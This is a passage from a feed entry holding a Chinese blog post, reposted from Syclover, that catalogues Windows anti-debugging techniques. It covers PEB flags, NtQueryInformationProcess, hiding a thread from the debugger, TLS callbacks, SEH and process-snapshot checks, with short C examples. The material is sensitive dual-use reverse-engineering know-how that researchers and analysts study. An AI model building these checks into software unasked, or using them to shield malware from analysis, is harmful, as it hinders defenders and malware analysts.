class="comment">//NtGlobalFlag</span></div><div class="line"><span class="built_in">printf</span>(“\nNtGlobalFlag———\n”);</div><div class="line"><span class="keyword">if</span> (*(LPDWORD)(pPeb + <span class="number">0</span>×<span class="number">68</span>) == <span class="number">0</span>×<span class="number">70</span>)</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“Debugger Detected!\n”);</div><div class="line">}</div><div class="line"><span class="keyword">else</span></div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“No Debugger!\n”);</div><div class="line">}</div><div class="line"><span class="built_in">printf</span>(“\n\n”);</div><div class="line"><span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></table></figure>

<h2 id="2-_NtQueryInformationProcess">2. <strong>NtQueryInformationProcess</strong></h2>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess (</div><div class="line">HANDLE     ProcessHandle, 　　　　　　<span class="comment">// 进程句柄</span></div><div class="line">PROCESSINFOCLASS 　　InformationClass, <span class="comment">// 信息类型</span></div><div class="line">PVOID 　　　　　ProcessInformation, 　　　 <span class="comment">// 缓冲指针</span></div><div class="line">ULONG 　　　　ProcessInformationLength, <span class="comment">// 以字节为单位的缓冲大小</span></div><div class="line">PULONG 　　　ReturnLength OPTIONAL     <span class="comment">// 写入缓冲的字节数</span></div><div class="line">);</div></pre></td></tr></table></figure>

<p>第二个枚举参数中的三个域可以用来做反调试<br>ProcessDebugPort = 0×7<br>正常运行：0×0        调试态：0xFFFFFFFF<br>ProcessDebugObjectHandle = 0x1E<br>正常运行：NULL        调试态：调试对象句柄<br>ProcessDebugFlags = 0x1F<br>正常运行：0×1        调试态：0×0<br>代码示例：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line">proc = (NTQUERYINFORMATIONPROCESS)GetProcAddress(GetModuleHandle(“ntdll.dll”), “NtQueryInformationProcess”);</div><div class="line"><span class="comment">//ProcessDebugPort = 0×7</span></div><div class="line">(*proc)(GetCurrentProcess(), ProcessDebugPort, &dwRet, <span class="keyword">sizeof</span>(dwRet), NULL);</div><div class="line"><span class="keyword">if</span> (dwRet != <span class="number">0</span>)</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“Debugger Detected!\n”);</div><div class="line">}</div><div class="line"><span class="keyword">else</span></div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“No Debugger!\n”);</div><div class="line">}</div><div class="line"><span class="comment">//ProcessDebugObjectHandle = 0x1e</span></div><div class="line">(*proc)(GetCurrentProcess(), ProcessDebugObjectHandle, &dwRet, <span class="keyword">sizeof</span>(dwRet), NULL);</div><div class="line"><span class="keyword">if</span> (dwRet != <span class="number">0</span>)</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“Debugger Detected!\n”);</div><div class="line">}</div><div class="line"><span class="keyword">else</span></div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“No Debugger!\n”);</div><div class="line">}</div><div class="line"><span class="comment">//ProcessDebugFlags = 0x1f</span></div><div class="line">(*proc)(GetCurrentProcess(), ProcessDebugFlags, &dwRet, <span class="keyword">sizeof</span>(dwRet), NULL);</div><div class="line"><span class="keyword">if</span> (dwRet == <span class="number">0</span>)</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“Debugger Detected!=%d\n”, dwRet);</div><div class="line">}</div><div class="line"><span class="keyword">else</span></div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“No Debugger!\n”);</div><div class="line">}</div></pre></td></tr></table></figure>

<h2 id="3-_NtQueryObject">3. <strong>NtQueryObject</strong></h2>
<p>当调试器调试一个进程时，会创建一个调试类型的内核对象，检测系统中是否有调试对象即可判断是否有进程正在被调试。<br>获取内核对象信息链表，遍历链表中对象类型，如果有DebugObject类型对象则说明有程序正在被调试。</p>
<h2 id="4-_ZwSetInformationThread">4. <strong>ZwSetInformationThread</strong></h2>
<p>隐藏线程，使调试器无法接收调试事件。<br>第二个参数是个枚举类型的，这个域可以用来反调试ThreadHideFromDebugger：0×11<br>代码示例：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">int</span> main()</div><div class="line">{</div><div class="line">MYZWSETINFOMATIONTHREAD proc = NULL;</div><div class="line">proc = (MYZWSETINFOMATIONTHREAD)GetProcAddress(GetModuleHandle(“ntdll.dll”), “ZwSetInformationThread”);</div><div class="line">proc(GetCurrentThread(), ThreadHideFromDebugger, NULL, <span class="number">0</span>);</div><div class="line"><span class="built_in">printf</span>(“done\n”);</div><div class="line">system(“pause”);</div><div class="line"><span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></table></figure>

<h2 id="5-_DebugActiveProcessStop">5. <strong>DebugActiveProcessStop</strong></h2>
<p>这个函数可以把调试器与被调试进程的调试关系解除，这样调试器也就接收不到被调试进程的调试事件了。</p>
<h2 id="6-_FindWindow">6. <strong>FindWindow</strong></h2>
<p>通过这个函数获取调试器窗口的句柄，如果调试器窗口存在就会返回一个非零的值。</p>
<h2 id="7-_TLS回调">7. <strong>TLS回调</strong></h2>
<p>Tls回调函数会优先于EP代码执行，所以可以在函数中写入检测代码，在进程还没有开始运行之前就可以知道是否正在被调试。TLS其实不算反调试技术，只有在结合了其他反调试技术才会有反调试的效果。<br>代码示例:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div></pre></td><td class="code"><pre><div class="line"><span class="preprocessor">#include </span></div><div class="line"><span class="preprocessor">#include</span></div><div class="line"><span class="keyword">void</span> NTAPI Tls_Callback(PVOID h, DWORD dwReason, PVOID pv)</div><div class="line">{</div><div class="line"><span class="keyword">if</span>( DLL_PROCESS_ATTACH == dwReason )</div><div class="line">{</div><div class="line"><span class="keyword">if</span> (IsDebuggerPresent())</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“Debugger Detected!\n”);</div><div class="line">}</div><div class="line">}</div><div class="line">}</div><div class="line"><span class="preprocessor">#<span class="keyword">pragma</span> comment(linker, “/INCLUDE:__tls_used”)</span></div><div class="line"><span class="preprocessor">#<span class="keyword">pragma</span> data_seg(“.CRT$XLX”)</span></div><div class="line">PIMAGE_TLS_CALLBACK pTLS_CALLBACKs[] = { Tls_Callback, <span class="number">0</span> };</div><div class="line"><span class="preprocessor">#<span class="keyword">pragma</span> data_seg()</span></div><div class="line"><span class="keyword">int</span> main()</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“tls callback anti-debug————\n\n”);</div><div class="line">system(“pause”);</div><div class="line"><span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></table></figure>

<h2 id="8-_SEH">8. <strong>SEH</strong></h2>
<p>1）<br>a.安装seh处理函数<br>b.故意触发一个异常，跳转到刚注册的seh处理函数中<br>c.在seh处理函数中写入检测代码<br>2）<br>a.SetUnhandledExceptionFilter更改默认顶层异常处理函数<br>b.触发异常，跳转到更改过的顶层异常处理函数中<br>c. 在seh处理函数中写入检测代码</p>
<h2 id="9-_进程快照">9. <strong>进程快照</strong></h2>
<p>CreateToolhelp32Snapshot、Process32First、Process32Next<br>这几个函数可以用来建立一个系统正在运行的进程快照，然后遍历进程快照查找是否有常见的调试器进程正在运行也可用作反调试。</p>
<p>本文章转至[三叶草]（<a href="http://syclover.sinaapp.com/?cat=4）" target="_blank" rel="external">http://syclover.sinaapp.com/?cat=4）</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="1-_PEB">1. <strong>PEB</strong></h2>
<p>0×002    BeingDebugged<br>正常运行：0×0        调试态：0×1<br>0x00c    Ldr：指向堆内存区地址<br>调试状态堆内存全部填充为0xFEEEFEEE<br>0×018    ProcessHeap：指向HEAP结构体<br>0x00c    Flags    正常运行：0×2    调试态：0×50000062<br>0×010    ForceFlags    正常运行：0×2    调试态：0×40000060<br>0×068    NtGlobalFlag<br>正常运行：0×0        调试态：0×70<br>代码示例：]]>
    
    </summary>
    
      <category term="安全技术" scheme="http://yoursite.com/categories/%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF/"/>
    
  </entry>
  
</feed>
